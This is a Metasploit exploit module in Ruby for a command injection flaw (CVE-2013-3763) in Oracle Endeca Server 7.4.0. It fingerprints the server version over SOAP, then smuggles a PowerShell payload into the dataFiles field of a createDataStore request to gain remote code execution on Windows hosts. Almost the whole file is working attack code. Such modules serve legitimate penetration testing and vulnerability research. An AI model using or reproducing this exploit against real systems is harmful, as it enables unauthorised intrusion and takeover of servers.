153 lines
4.6 KiB
Ruby
153 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Oracle Endeca Server Remote Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a command injection vulnerability on the Oracle Endeca
|
|
Server 7.4.0. The vulnerability exists on the createDataStore method from the
|
|
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
|
|
branch and isn't available on the 7.5.5.1 branch. In addition, the injection
|
|
has been found to be Windows specific. This module has been tested successfully
|
|
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
|
|
},
|
|
'Author' => [
|
|
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-3763' ],
|
|
[ 'BID', '61217' ],
|
|
[ 'OSVDB', '95269' ],
|
|
[ 'ZDI', '13-190' ],
|
|
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ]
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 16 2013'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(7770),
|
|
OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])
|
|
])
|
|
end
|
|
|
|
def version_soap
|
|
soap = <<-eos
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
|
|
<soapenv:Header/>
|
|
<soapenv:Body>
|
|
<ns:version/>
|
|
</soapenv:Body>
|
|
</soapenv:Envelope>
|
|
eos
|
|
|
|
return soap
|
|
end
|
|
|
|
def create_data_store_soap(name, files)
|
|
soap = <<-eos
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
|
|
<soapenv:Header/>
|
|
<soapenv:Body>
|
|
<ns:createDataStore>
|
|
<ns:dataStoreConfig>
|
|
<ns:name>#{name}</ns:name>
|
|
<ns:dataFiles>#{files}</ns:dataFiles>
|
|
</ns:dataStoreConfig>
|
|
</ns:createDataStore>
|
|
</soapenv:Body>
|
|
</soapenv:Envelope>
|
|
eos
|
|
|
|
return soap
|
|
end
|
|
|
|
def check
|
|
|
|
res = send_request_soap(version_soap)
|
|
|
|
if res.nil? or res.code != 200 or res.body !~ /versionResponse/
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
|
|
|
|
if version_match.nil?
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
version = version_match[1]
|
|
end
|
|
|
|
vprint_status("Version found: Oracle Endeca Server #{version}")
|
|
|
|
if version =~ /7\.4\.0/ and version <= "7.4.0.787"
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
def send_request_soap(data)
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'POST',
|
|
'ctype' => 'text/xml; charset=utf-8',
|
|
'headers' =>
|
|
{
|
|
'SOAPAction' => "\"\""
|
|
},
|
|
'data' => data
|
|
})
|
|
|
|
return res
|
|
end
|
|
|
|
def exploit
|
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
|
if command.length > 8000
|
|
# Windows 2008 Command Prompt Max Length is 8191
|
|
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
|
|
end
|
|
print_status("Exploiting through Powershell...")
|
|
execute_command(command)
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
# HTML encode ampersands so SOAP is correctly interpreted
|
|
cmd.gsub!(/&/, "&")
|
|
injection = "c:\\"& #{cmd} &""
|
|
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
|
|
begin
|
|
res = send_request_soap(exploit_data)
|
|
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
|
|
print_status("#{res.code}\n#{res.body}") if res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
|
|
end
|
|
end
|
|
end
|